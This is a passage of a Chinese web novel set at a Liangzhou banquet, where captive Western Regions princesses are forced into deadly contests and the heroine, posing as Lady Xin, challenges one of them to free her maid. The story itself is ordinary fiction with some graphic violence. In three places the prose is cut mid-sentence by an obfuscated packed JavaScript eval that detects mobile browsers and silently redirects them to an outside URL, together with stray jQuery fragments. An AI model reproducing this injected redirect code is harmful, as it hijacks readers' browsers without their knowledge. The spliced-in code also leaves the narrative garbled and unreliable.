吕纂见那个异族男子的脸色,走上前抬起他的下巴:“怎么?本将军入不了王子的眼?” “不,我不是,只是……” 这个西域王子来自西域三十六国的且末,是个弱国,地域不足凉州的一个郡大,他不奢求成为君王,能逃离盐泽魔窟的恐怖囚禁已是幸运,但吕纂在西域征战时就以残暴鲁莽著称,他是真的怕。 且末王子颤巍巍说:“如果段大人不便,我跟着玄,玄郎君也可以的。” 段业眉头微皱,大概也觉得这个西域的什么王子有些过头了,看了沮渠男成一眼,不满地说:“如此善变之人,不留也罢。” 沮渠男成不接话,他只是西域贵族的搬运工,又不是中原人的刽子手,给汉人添些麻烦他反倒自得其乐。玄盛微笑着举起酒杯朝段业敬酒,“西域歌舞名不虚传,托大人的福我等大饱眼福,这些贵族们应有赏。” 诸位官老爷们齐声称赞,“对,大饱眼福……” 官绅无非就是想看个乐子,选定的比试项目以歌舞才艺为主,气氛也好,打打杀杀恐怕吓到女眷以及他们自己,那可就不美了。因此,四场比试下来,除了歌舞、乐器,顶多就是击鼓斗舞,这时场下不合时宜地呼痛声,竟是摔下台的西域公主刚站起又重重摔倒,美人丰腴,落泪不失妩媚,望向台下的官老爷们期盼怜悯。 她只是个比试败了的小族孤女,不敢奢望大人们青睐,可在吕纂看来就是连小小舞姬都敢轻视自己,他的心情恶劣到极点。沮渠男成见吕纂黑了脸,让舍蓝蓝斟满酒水,又故意激怒他,“在下仰慕将军威名,不如将这场比试的二位都送于将军作见面礼。” “不……”美人吓得脱口而出。 吕纂眼中一沉,不理会沮渠男成径自走向台下的西域女子,美人瑟缩,吕纂粗鲁地抬起名不见经传的公主泪眼婆娑的脸,皱起眉,“这女人技不如人,与某无缘。” 星夜吃过吕纂的亏,凡他开口必与之唱反调:“上将军好大的威风,如此刻薄,非三河王之幸。” 吕纂最恨别人挑拨他的父王与自己关系,连带着满脸泪水的女人一并厌烦,“手下败将,是不记得如何被本将军一路追杀,逃到于阗躲起来了?若不是念狯胡攻打建康立了些功劳,就凭你也配与本将军同席?” 星夜最爱看吕纂气急败坏的样子,“上将军远来与本王同为座上宾,客随主便,既然三河王旨意已送到,喝了这杯酒,就当也给吕将军送行了。” 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15175302|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一饮而尽,西域公主朝星夜暗送秋波。 照约定生死不论,王室们彼此心里有数,比试才艺不至于致人死地,然而今夜斗舞的公主踩痛了吕纂的自尊心,吕大将军怒火攻心,在女子面前突然拔出长刀,划过一道银光,直接割断女人的脖子,喷薄出大片血雾,吓得尖叫声四起, 吕纂冷哼:“愿赌服输,她输了就该死。” 他拎着带血的武器,看向惨白脸的且末王子笑着问道:“王子,你觉得呢?” 且末王子浑身发抖,吓得说话哆哆嗦嗦:“我,我愿意,追随上将军,鞍前马后。” 一切都发生的太快,画面太过残忍,一下子宾客们尖叫着混乱退开,阿祇也垂下眼睑,她知道这世道人命草芥,枭雄当道可以无法无天,却不知道这世道可以险恶到什么程度。她僵硬在当场,面对凌乱的场面耳边嗡嗡作响,喧哗中有声音传来。 “阿弥陀佛……” 鸠摩罗什手指拨动佛珠,口中念诵经文。 众人都吓坏了,高座之上的人倒显得镇定自若,吕纂擦干净手上的鲜血坐回座位,玄盛立刻使眼神让掌柜找人将尸体和瘫软的且末王子拖了下去,舞台的血流成河仿佛只是一幕幻象,待恢复平静后,仍没人敢大声喘气。 段业面如冰霜,送行宴却还未结束。 主持比试的弓槊坊伶人见过世面,稳住情绪,强装镇定地喊道:“第五场比试,准备开始。” 每一次比试前的欢呼声不在,说好的五场比试还剩下最后两位西域来的女子。段业扯出最后的两根写着名字的布条,交给伶人宣布:“比试双方,鄯善公主阿母卡丹,对战,回鹘公主舍蓝蓝。” 阿祇心中一震,没想到这么快就又见到了熟人。 伶人的声音有些尖锐颤抖,雌雄莫辨的声音传来:“请太守出题。” 段业好像没有被刚才的一幕影响,朝旁边的桌子轻挥了下手,原来看过几场歌舞比试后,他想将这一轮的出题权交给李暠,可是刚要开口就被吕纂抢了话。吕纂道:“若再来什么唱曲跳舞的大可不必,这酒坊既然叫弓槊坊,依本将军之意,不如这最后一场给她们一人一弓,一人一槊,看谁能活下来即可。” 话一出口,场下哗然有惊恐不安的,也有不忍的…… 舞台周围的女眷们已经少了一大半,血腥味未散尽,应战的两个女子脸色都不怎么好看,尤其瘦弱的鄯善公主阿母卡丹,小脸已吓得没有一丝血色,这与她擅长的才艺比试背道而行。舍蓝蓝从沮渠男成身边走来,看了眼对面上场的阿母卡丹,眼神中多了丝杀意。 稷是玄盛的随身暗卫,他神色凝重地跪坐在主子身后,默默攥紧拳头。 稷是鄯善的子民,孔雀河改道导致都城水源干涸,鄯善国遭遇灭顶之灾,国家四分五裂,百姓流浪失所,失去所有亲人的稷一夜华发,幸得主人所救,可惜鄯善公主看起来就没那么幸运了。 第五场比试在即,回鹘公主先声夺人:“舍蓝蓝应战,我选弓。” 鄯善公主气势上已落下风,兵器更没得选,“阿母卡丹,也,也应战。” 沮渠男成说过,他们当不成眼线就回去当祭品,没人想回到盐泽魔窟的地牢里。 吕纂满意地命人送上弓箭和槊,弓箭只是寻常木质兵箭,一盒箭矢看起来有五六支,舍蓝蓝抓起弓箭掂了一下,又拉弓试了弦的弹性。阿祇也会射箭,看得出舍蓝蓝不是新手,但在这封闭的空间到处是人的地方射箭,真的没有问题吗? 沮渠男成不知跟沮渠蒙逊耳语了什么,邪魅一笑。 阿母卡丹那边就让人揪心了,她几乎手无缚鸡之力而抬上来的长槊长约六尺,介于狼牙棒和长矛的重量,前端带刺用于骑马作战,阿母卡丹试了试,连抬起长槊都困难要她如何应战? 61. 弓槊之战 “观自在菩萨,度一切苦厄。” 鸠摩罗什双手合十,心有不忍, 沉默的无谶禅师也道:“我曾读过鸠摩罗什大师所译《金刚经》,里面有句偈语:一切有为法,如梦幻泡影,如露亦如电,应作如是观。可对否?” 鸠摩罗什对无谶行了佛礼,平静的声音似佛音、如甘泉,令人静心,“一切有为法,乃因缘际会无常之法,观,要观苦,观无常,观自我,贫僧观之无故屠戮便是苦,如是观非无视,望段太守慈悲为怀,行得道之法,阿弥陀佛……” 阿祇心中感慨,克里雅是个聪明人,却聪明反被聪明误。鸠摩罗什可不是权势的吉祥物,他一生致力于传译佛法经文,文质兼备,深厚学养其实半路出家的外来和尚所能比。 克里雅,他还是太心急了。 弓槊之战迫在眉睫,有人期待,就会有人担忧,坐在高台上末席的玄盛起身,朝段业拱手道:“弓槊之流,在校场的兵将手中乃杀人利器,酒坊今日为段大人送行者皆是上宾,二位公主比试事小,伤人便是不妙。” “伤人?”沮渠蒙逊阴阳怪气地怼玄盛说:“本少主倒觉得不过几支粗箭罢了,长槊无眼但不是谁都能用的,诸位若没本事护住自己的,不妨躲去内廷。” 内廷是女眷之处,他这是羞辱谁呢? 沮渠蒙逊斜眼瞥向李玄盛,旋即拍了拍手,匈奴人押上来好些个西域奴隶,组成人墙在段太守面前跪下成一堵人墙肉盾,“效谷令,这下可放心了?” 阿祇看到这冷血冷情的沮渠蒙逊,心中竟觉得一丝悲凉。他的心曾对她暖过,但沮渠蒙逊有他的道,谁也改变不了,包括阿祇在内,所谓道不同不相为谋,注定了悲哀和遗憾。人盾们被强迫着抬起头,阿祇瞳孔一缩,发现他们当中有张的熟悉面孔,那是米耶。女孩单薄的身子跪在地上,同一些男女老少的奴隶护在贵人们身前,手臂上的伤痕刺痛了她的眼睛。 沮渠男成催促说:“快点开始吧,别扫了段太守的兴。” 最后一场的比试是舍蓝蓝,沮渠男成身边的红人。 沮渠男成根本不在乎舍蓝蓝的死活,这个女人够心狠,在出这个主意的时候就自荐了自己,她说无论成败都会为沮渠男成鞠躬尽瘁,认他为主。 舍蓝蓝的眼神冰冷中有一丝疯狂,拉起弓对准阿母卡丹道:“我准备好了。” 阿母卡丹手哆嗦着拖动长槊,想要避闪却举不起武器,突然人盾中跑出一个老妇挡在她身前,用鄯善的语言恳求道:“我是鄯善国的大妃,我愿替公主比试。” “哪里来的疯子!” 吕纂怒道:“想死?本将军可以成全你。” 眼看他的耐心耗尽,举起杯盏运上力道朝老妇的面门飞去,砰的一声,被另外飞来的物件空中击碎,落下满地残渣。玄盛手中的茶杯飞出去拦下了吕纂的杯盏,“上将军息怒,今日是吉日。” 鄯善大妃被人架走,吕纂见是玄盛气焰不禁减退几分,他们曾从龟兹一路南下大漠,玄羽衣为征西军出生入死,作为军师也好、同袍也罢,吕纂与玄盛之间是有些交情的。众人不明所以,只觉得玄郎君深不可测,连上将军都给了面子。然而,这场弓槊比试是两个西域公主之间,生死对峙并无必要,段业不知哪里又变出一把羽扇,悠哉悠哉地扇着,看得津津有味。 “哈哈哈,上将军吃醉了酒,玄盛莫怪。” 酒坊里,刚才的骚乱让人群都躲到了内廷和廊柱后,阿祇趁乱也赶忙隐身,躲进李二娘所说的味道浓郁的脂粉堆里,又冒出来的环肥燕瘦挤到她所在的角落,差点没把她给挤出门外,里面可是要动真格的了,武器在两个女子手里,贵人们有人盾,可她们没有哇。 段业端酒面色愉悦,他与无谶换了眼神,无谶对他身边的沙门小和尚慧嵩示意,弓槊坊的鼓手被蒙上双眼,慧嵩说:“以鼓声为令,比试开始。” 咚咚咚,鼓声震得人心跳加速。 星夜给自己满上一杯,“上些好酒。” 话音一落,舍蓝蓝的第一支箭已经射出。 这一箭,阿母卡丹早就做好了准备,勉强拉着长槊的手柄挡在身前,人往地上一趴,箭头就擦着她的头顶飞过,扎在她身后的一张桌子下。人声惊呼,幸好阿母卡丹身形灵活,举不动槊便当盾使,没了气力干脆放弃,匆忙四下寻找趁手的工具,规则没说她不可以就地取材。 有人喊:“诶?那是我的凭几。” 凭几是古时人们凭倚的一种家具,大家胡坐在席子上时间久了会麻木酸累,凭几便成了贵人们必备的神器,被阿母卡丹抽了一个当武器。 原本的鄯善公主,同其他公主一样能歌善舞,这种要命的比试,根本招架不了几个回合。 舍蓝蓝伸向箭筒,迅速搭上另一支箭对阿母卡丹射去,这一次距离太近,舍蓝蓝手法娴熟地射中了对方的后背,阿母卡丹人朝前扑去。 四周传来吸气声,恐怕这场比试很快就会分出胜负。 可是他们高兴的太早了,阿母卡丹支撑着起来,转身超舍蓝蓝扑去,被舍蓝蓝闪身躲过,“怎么?你以为你还能躲过我的第三支箭吗?” 阿母卡丹吐出一口血,“舍蓝蓝,我认输。” 舍蓝蓝占据上风,当然要趁胜追击,“鼓声未停,比试没有结束。” 说着,舍蓝蓝第三箭毫不手软地对着阿母卡丹射出。 啊……有人惊呼。 这支箭对准阿母卡丹,她睁大眼睛后退,可身后的方向是人盾,退着被绊倒跌在地上,箭头擦着她的头皮往后飞,在距离一个奴隶面前时,被人握住。 没人看清玄郎君的轻功,他却站在人盾前。 舍蓝蓝深深地望着玄盛,有不可置信的喜悦,很快被掩饰起来,玄盛冷冷地说:“够了。” 这时,鼓声停了下来。 沮渠男成讽刺道:“这算谁赢了?玄郎君?” 段业面前有人盾保护,玄盛手持流箭之姿仍让他心有感动,玄盛手中一转,箭矢托在手心,“方才情急,玄盛逾越了。” 明眼人都知道就算李玄盛不出手,那支箭矢也射不到段业身上,可那老头就吃这套,阿母卡丹摔得真是凑巧,方才这箭的方向朝着段业而去,舍蓝蓝惶恐地跪下:“大人恕罪。” 段业以儒雅有气度自居,身为两郡太守众星捧月,镇定自若地捋着胡子道:“此轮,回鹘公主胜。” 舍蓝蓝心中大喜,“谢太守大人。” 阿母卡丹输了并且受了重伤,台下的人已经有人开始叹息了,舍蓝蓝作为赢家,说出了她的选择:“求大人准许,让奴婢追随……玄郎君。” 她此话一出,周围神色各异。 沮渠男成不是舍不得一个女人,但不爽被利用了的感觉,看着舍蓝蓝怒目而笑,“好个回鹘公主,竟连咱们段太守都瞧不上呢。” 舍蓝蓝并无惧色,她死里逃生为的就是这一博。 “舍蓝蓝不敢,是奴婢没有这个福气。” 她以奴婢自居,而不是什么回鹘公主,自贬身份只希望贵人们能够成全她的心愿。 “老夫倒愿成人之美。” 段业看向玄盛,笑呵呵地说:“老喽,小娘子爱俏郎君,玄盛,我看人你就带走吧,还有那个鄯善公主,一同赏你。” 玄盛抚平身上的长衫,轻装而来的他像个普通文人,听见段业的赏赐显得惶恐起来,“谢大人厚爱,然家有悍妻玄盛不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15228859|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敢做主,府中事无巨细皆由夫人定夺。” 星夜一口酒没忍住,全喷了出来。 这场面可比刚才比试的时候热闹多了,斗殴比试一完就听见玄郎君曝出惊天大瓜,众人赶紧找板凳,吃瓜,小官僚和他们的家眷们也激动地现身听八卦,阿祇直接被挤出人群开外。 “悍妻?玄郎君?”有女人呼号声。 台上除了鸠摩罗什依旧沉默不语,其他人包括阿竭耶在内,都将目光转向皎若云间月的玄郎君身上,传闻中的辛夫人,是怎么做到把玄郎君吃得死死的? 众人的心声:辛夫人,人才啊! 段业尴尬道:“玄盛说笑了,老夫为你做主将两位公主都带回去。” 玄盛微微皱起眉头,沉默片刻改口:“鄯善公主受了重伤,吾妻最是心善,或许可以一留,那个差点被箭射中的奴隶,吾妻喜结善缘,或许也可以一留,只是回鹘公主,不能留。” 舍蓝蓝还在等着玄郎君对她说……可以一留。 没想到,她是不能留。 舍蓝蓝社死现场,段业犹豫地看向沮渠兄弟,沮渠蒙逊不负众望地拒绝道:“你休想。” 玄盛似对匈奴人的跋扈毫无意外,无所谓地看着沮渠蒙逊,剑拔弩张之氛围骤然而起,莫非那两个人是什么天姿国色?众人的目光在鄯善公主和奴隶之间徘徊,一个瘦弱的病秧子,一个脏兮兮的乞丐,小身板都没长开,甚至连舍蓝蓝都比不上,实在看不出哪里惊为天人了。 有人摇头小声叹息:“我信玄郎君家有悍妻了,你懂的,就这……” “辛夫人曾远赴西域千里寻夫,有几个娘子能做到?” “额要是吃花酒,额娘子也能寻得到额。” 姜丙仁别提多解气了,“李玄盛也有今天!哈哈哈……老天有眼,下凡个悍妇给他渡劫。” 玄盛对流言蜚语置若罔闻,很有诚意地对沮渠蒙逊说:“君子不夺人所好,玄盛愿做个顺水人情,将回鹘公主还与令兄。” 星夜险些又喷酒水,君子?八百个心眼的李玄盛? 舍蓝蓝与沮渠男成的勾搭,谁都能看出有故事,大家看不懂为什么玄郎君会在意一个小奴隶。 当然,除了沮渠蒙逊。 “那些公主不是我们卢水胡的奴隶,去留随意,但小奴隶不行,她是我女人的婢女,生死去留只能由我的女人决定。” 玄盛对上沮渠蒙逊的目光,互不相让。 沮渠蒙逊特意将米耶放在人盾中最显眼的位置,为的就是引出那个弃他而去的女人,以她的性子不会置她的婢女不理。 沮渠蒙逊冷笑一声,轻佻地说:“玄郎君不妨回去问问尊夫人,看她感兴趣活的死的奴隶,若我的女人不稀罕了,卖给尊夫人,也可当面商榷。” “蒙逊,今日是段大人的送行宴。” 沮渠男成让他给这些汉人下马威,可没让他惹怒他们。尤其这个李暠,舍蓝蓝让他折了面子也要跟着的人,他虽然也厌恶此人,但段业、吕纂尚且给他几分面子,卢水胡并不想与之树敌。 段业放下酒杯转开目光,无谶禅师忧段业之所忧,马上出面调解:“阿弥陀佛,依贫僧之见,因果自有天定,此事……不如就此作罢吧。” 他们都是聪明人,再争下去难免令人起疑。 这个舍蓝蓝很棘手,玄盛自然认出她就是诺伊死而复生的女儿西莫儿,她走过的地方总伴随着毁灭,不祥不善。至于阿母卡丹,对稷来说非救不可,反正人在,玄盛就不担心救不下来。 唯独,米耶。 人群中传来一个女子的声音:“此身不向今生度,更待何生度此身……夫君想要那个奴隶和鄯善公主,吾同意了。” 62. 悍妇 什么夫君?莫非,八卦正主来了。 高台上玄郎君的神色微变,与辛夫人隔空相望,两人目光“情谊缱绻”,羡煞旁人。 人群中挤出一位戴着面纱的女子,段太守送行宴的排场真大,看玄郎君微妙的神情,大约就是传说中的辛夫人来了。弓槊坊里的人有些沸腾了,无数双眼睛盯在那女子身上。只见面纱覆面的辛夫人轻装简行,身穿月白金丝多折华裾,乌发雪肤,云鬓玉簪,眉间婆罗花钿晕出丝许佛韵,配上一双明亮的眼睛,在坊中斑驳的烛光下双眸如繁星璀璨,美得清新脱俗,让人无法转移目光。然而,辛夫人蒙着面看不到真容,但就这番气度就让吃瓜群众们激动不已。 众人脑补这样的夫人定如神女出尘转世,怪不得玄郎君待之如珠如宝,悉听妻训。 玄盛斜飞入鬓的眉,朗如星辰的目,深情款款地朝她走来,用从未有过的温柔语气低语:“夫人,你来了。”辛夫人略带不满,“细雪尖风夜春色浓情,夫君不是说就恭贺段大人荣升,怎的为旁的公主天仙迟迟不归?” 玄盛歉意道:“为夫的过错。” 他们的对话再小声,偏让大家都听了个清楚。 这对夫妻简直当整个酒坊的男女老少不存在,辛夫人嗔怪地瞪了他一眼,“回家再与你分说。” 说完,辛夫人翩然朝酒席走来,有绝立独世的风华。 不熟悉阿祇的,如段业惊讶,吕纂玩味,阿竭耶惊喜,大和尚闭目不语……而熟悉她的,星夜一眼就认出了来人的身份,他眼睛雪亮,感慨她还是那个喜折腾人的妖精,沮渠男成却神情复杂,心叹这个伽蓝的命还真大。看来是场熟人局,这样重逢的场面,阿祇希望这些人不会不顾体面,总有办法将米耶救出去。 “玄盛,这位就是尊夫人?”段业笑问。 星夜刚拿起的酒杯就放下了,饮之无味,也免得再喷,浪费好酒。至于沮渠蒙逊,他的脸色如黑云压顶,嗔怒心重,眼神有火似要毁灭万物,任谁都不敢多看。 李暠携着辛夫人走上高台,她对段业规律行礼,辛夫人端方雅致,行得一派贵女教养,“效谷令之妻辛氏,见过太守大人。” 旁边的酒席传来杯盏碎裂的声音,沮渠蒙逊冷冷喝下一杯苦酒。 段业只当什么都没看见,连忙客气抬手道:“原来是辛夫人,快快免礼。”高台上的阿祇保持行礼姿势,又道:“礼不能免,吾素来先礼后兵,今日怕要得罪大人了,先行赔礼。” 未等她解释,段业便理解了玄盛口中的悍妻之意…… 一声箭鸣,转瞬间辛夫人转身抬起右手手臂放出袖箭,舍蓝蓝只觉脸庞有疾风略过发丝瞬间凌乱,竟是被袖箭擦着她的面容穿破发绳,那根箭角度刁钻,最后准头十足地钉在了沮渠男成席面的苹果上。不仅舍蓝蓝愣在当场,沮渠男成也吓了一跳,伽蓝好大的脾气。 辛夫人收回目光,对舍蓝蓝冷言道:“回鹘公主,吾观你心肠冷硬、箭术堪忧,在这方寸之地胡乱散射是会伤人的。”她不去看贵人们的惊讶神色,默默看向瑟缩的人盾,中间的小奴隶眼中含泪,咬着牙才没喊出——阿秭。 米耶知道,阿姊一定会来救她。 舍蓝蓝眼中有嫉妒和愤恨,关于那份恨,阿祇也大概猜出个七八分,西莫儿的家破人亡让她恨上了所有与于阗王室有关系的人。即便阿祇对她有一饭之恩,也不足以弥补她对于阗王室的仇恨。 舍蓝蓝心绪未稳,仿佛还能感受到擦面而过的箭气,“伽蓝公主,你,你是要行刺大人吗?” “诶?听闻段大人荣升汝等都来助兴,吾这小小把戏隔空献果,怎说行刺呢?” “你……”舍蓝蓝头发散乱,难掩愤怒。 辛夫人取来那个苹果,略带满意,“沮渠少主让你们比试给大人助兴,见血腥则不吉,吾夫君说坏人好事如断人财路,断人财路如杀人父母,你坏了沮渠少主的好事,就相当于杀人家父母。”沮渠男成脸色一黑。 玄盛眼皮亦跳了一下,他有说过这么有道理的话吗? 辛夫人微笑着对舍蓝蓝建议:“不如你将这个苹果放在头上,吾定不会失手,这才有趣。”她冷漠的眼神越过沮渠蒙逊,看向黑脸的沮渠男成,“沮渠少主若怜香惜玉以身代之,吾也愿成全你们。” 沮渠男成知道她的怒意所为何来,一个舍蓝蓝他才不在乎,她在乎的只有那个小奴隶。 这时,他身边的沮渠蒙逊突然开口:“辛夫人好兴致,兄长不如成全她,那些不入眼的奴隶我就先带下去了,免得污了诸位大人的眼。” 米耶眼神慌乱,辛夫人终于看向沮渠蒙逊,他们之间的气氛十分怪异,连星夜都看出来了,“喂,那个沮渠少主,能不能多喝酒少说话。” 辛夫人扑哧一笑,像是想通了什么转身对段业道:“今夜既然是西域王室之间的比试,二位沮渠少主用心良苦,吾愿以于阗伽蓝之名挑战回鹘公主,若吾赢了,那两个人吾就带走了。” 米耶和鄯善公主眼神一亮,对上辛夫人的目光终于看到了希望。 舍蓝蓝不以为意,盯着辛夫人说:“若我赢了呢?” 辛夫人云淡风轻地说:“彩头归你,她们你带走。” 舍蓝蓝哪里是对米耶和阿母卡丹有兴趣,她只想跟着玄郎君,当然不肯放弃这样好的机会,于是咄咄逼人道:“我若赢了我要你自请下堂,离开玄郎君。” 李玄盛皱眉,辛夫人却笑了,“回鹘公主可是觉得吾可像傻子?即便你很可怜,你见过拿全副身家施舍一个乞丐的人?”她转身对段业再次行礼,“两位沮渠少主为太守助兴而来,回鹘公主却要吾拿夫君当人情,真乃岂有此理。” 段业饶有兴致,“夫人想如何解决?” 她眼含秋波看向玄盛,“当家的,你怎么说?” 这声当家的,听得玄盛通体舒畅。 玄盛知她早有决断,“全听夫人的。” 吕纂的表情耐人寻味,他是知晓当初于阗公主冒名顶替辛夫人头衔的,果然这个李暠艳福不浅,真正的辛夫人就算看不见真容想必也是极美的,且行为果断,泼辣不好惹,这趟无聊的凉州之行总算有些了看头,生怕她们打不起来似的,赶紧拱火说:“辛夫人屈尊降贵,回鹘公主别不知好歹,如果不愿比试不如和且末王子一起追随本将军如何?” 吕纂笑得龌龊,舍蓝蓝一哆嗦,跟着吕纂她还能有活路吗? 段业道:“夫人大气,怪不得玄盛爱重,既然愿与回鹘公主切磋,除了沮渠少主的彩头,老夫再加一斛珠。”星夜也来凑热闹,“本王擒获了一只雪豹崽子,也当作彩头……嗨,那个什么将军也别小气了,真金白银的拿出点东西来?” 吕纂瞪了他一眼,豪爽地拍在桌案上一块金子,“本将军即刻让人送上百两黄金,添作彩头。” 辛夫人从来不跟金子过不去,她穿越大漠可是白手起家。不过……她将目光转到鸠摩罗什身上,原本玄盛暗藏的威压令舍蓝蓝不寒而栗,转过身,看到夫人的眼神又是温润如玉,无奈地叹气,“夫人,莫玩过了。” 阿祇她拉住玄盛的手,拉过他耳语,不知说了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15228860|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句什么,玄郎君的微笑满是温柔宠溺,默默点头。他走到鸠摩罗什身前行礼,诚恳地道:“鸠摩罗什大师,玄盛想求一副您的墨宝,无需多字名讳即可,某不胜感激。” “阿弥陀佛,依玄盛所求。” 如果千年后的辛薇知道,有朝一日能让李暠替她求鸠摩罗什的墨宝,估计再让她穿越流沙个几次也是在所不惜的,她却不知从未求人过的玄郎君的做派,已经惊掉了众人下巴。 “这……宠妻惧内,有辱孔圣之道。” 莺莺燕燕一片,“哦……嫁人当嫁玄郎君。” “嘘……明日我就让家里那位,上门拜访辛夫人。” “对对对,事不宜迟。” 辛夫人惦记着彩头,不仅米耶回来了,还有额外收获,不禁心潮澎湃斗志昂扬,她积极地表示:“那就快点比试吧。” 玄盛眼皮又一跳…… 舍蓝蓝总觉得哪里不妥,正要说什么,段业趁热发话道:“甚好,甚好。” 辛夫人就这么愉快得答应了,应战回鹘公主。 沮渠蒙逊冷眼看向一旁的舍蓝蓝,舍蓝蓝浑身一个激灵。沮渠蒙逊是个极其冷血的性子,低声对她道:“若输了,你便回到你该去的地方……” 不,她不要回去地狱一般的日子。 去年她还是集万千宠爱的王室女官——西莫儿,诺伊都尉的唯一女儿。拂云殿大火,她亲手杀了于阗王,之后被假冒大祭司的沮渠蒙逊挟持,囚禁在暗无天日的密室数日。等她没了利用价值,沮渠蒙逊将她卖给了奴隶贩子,之后就惨遭蹂躏折磨。 舍蓝蓝露出害怕的神情,她望向玄郎君,那人满眼只有自己的夫人,再看向不知所想的沮渠男成,为什么男人只会盯着最耀眼的女人?她西莫儿不甘心,命运弃她如敝履,如果非要下地狱,也要拉着这个女人一起。 “我愿比试,但比箭术对我不公。” 辛夫人爽快卸下手臂上的袖箭,“好,你想比什么?” 玄郎君接过她丢过来的箭套,似乎完全不担心他夫人会输,不过他也定没想到,当时莫名其妙地看了老王掌柜一眼,阴差阳错地送了自己夫人上了擂台。 如今箭在弦上,“第六场”比试势在必行。 舍蓝蓝回忆在东行路上遇见阿祇和米耶时,她们貌似姊妹实则主仆,小米会些皮毛功夫总护着伽蓝,所以伽蓝根本就是个病娇。瞬间,舍蓝蓝有了主意:“比武,咱们比武。” 辛夫人不浪费时间,对玄盛说:“夫君,你过来。” 她解下披风丢给他,“这件披风为妻甚喜,好生拿着。”玄盛感觉自己被调戏了,却规规矩矩地拿着,嘴角微翘。辛夫人走向擂台,手中亮出一对寒光圆月弯刀,裙裾别住裙角,真有几分悍妇气势,对舍蓝蓝礼貌道:“吾选刀,回鹘公主请随意。” 舍蓝蓝被蒙逊瞪了一眼,旋即知道上当了,她赶紧改变主意,“伽蓝公主误会了。”虽她不愿意称她辛夫人,但方才沮渠蒙逊低声几句,舍蓝蓝如醍醐灌顶,她掐了个手势作出优美姿态说:“我刚才说的比武,是舞,非武。” 在座的被她绕的云里雾里,很快醒悟过来。 舍蓝蓝被辛夫人袖箭一击,差点中了她的圈套,带着圆月弯刀明显辛夫人是有备而来,比武辛夫人不会吃亏,然而比舞就不一定了。西域女子哪个不能歌善舞?传闻辛夫人是陇西官吏辛纳之女,琴棋书画未可知,从未听说善舞。 段业使了个眼色,得意地捋着胡须。 伶人机灵地高喊:“第六场比试,舞。” 63. 比舞 弓槊坊亮起一圈光亮,坊内的舞姬侍女们点亮了大厅内所有的蜡烛,铜镜折射后灯火通明,舞台上垂下长长的蓝橙两色锦缎飘带,既隔绝了台下众人的视线,又显得舞台美轮美奂,中央已摆放两张圆形繁复毡毯,飘带上铜铃间隔挂着,摇曳起来发出悦耳的声音。 主台上的贵宾尽情享受在盛宴的氛围,外人窥探其中,不由为酒坊盛装喝彩咋舌。乐人们拿着弦鼓乐器就位,提前演奏欢快的乐曲,等待即将上场的两位主角,这场比试,空前热闹。 在段大人的默许下,官员、女眷、宾客、杂役,连后厨的小厨娘都悄悄挤到附近,有在走廊张望的,有在角落探头的,都是听说传闻中的辛夫人不仅亮了相,马上还要与西域公主斗舞,怎不叫人好奇?众人都在议论:“辛夫人在哪?哪个是辛夫人……” “刚才还在,人呢?” 大家交头接耳地在主座四下寻找,可惜重头戏没开场,两位主角在更衣准备。 玄盛一进门,视线就落在坐在梨花镜前擦刀的阿祇身上,她的面纱摘了半边,清丽的侧颜凝视刀锋丝毫没有慌张的样子。玄盛走进来,坐在她的对面,“你不必如此的。” 阿祇在烛光中眼神坚定,一字一句道:“米耶,我得救。” “我知道,就算你不来也无需担心。”玄盛怎能不懂她的执着。 原来她这个搭子根本没想让她来救,阿祇笑着道:“王掌柜是个人才,你下次不要直视人家了。”玄盛也笑了,如山中清泉般沁人心脾,他给夫人倒一杯热茶,知情识趣地不再追问。 这时,外面的侍女端着托盘在门口候着,“酒坊最好的舞衣饰品和乐器都送来了,可要挑选?” 辛夫人对自己今日的装扮表示满意,她将圆月弯刀放在桌上,对镜整理了发髻,看上玄盛温柔的眸子,左右摇了摇头,问道:“我看上去不够好吗?”玄盛起身靠近她,认真端详仿佛真的有什么不妥,他的脸近在咫尺,呼吸中有淡淡的茶香,声音低沉地传入耳中,“你,很好。” 这样的话语出自李暠之口,阿祇有点难以招架,不自然地转身将圆刀入鞘,掩饰微微泛热的面颊。玄盛不想让她分心,便退回到座位上,换了话题问:“这场比试有几分把握?” 某人在镜子前整理发髻,坦言说:“毫无把握。” 玄盛笑着摇头,他的夫人不同凡响,真是对胜负欲一点不执着。 阿祇辩白说:“比试只是一次努力,如果不成功就再想别的办法。” 玄盛好奇道:“别的办法……?” 阿祇看身旁无人,意味深长地靠近他,小声说:“偷,人。” 玄盛幸好没喝水,不然真的要被呛到。 阿祇赶忙解释:“长生。”从她口中说出他的小字有种难言的亲切,他的夫人好像早就盘算好了,“我的计划‘乙’就是你想办法调虎离山,我去把米耶偷出来,非常情况用非常手段,识时务也。” 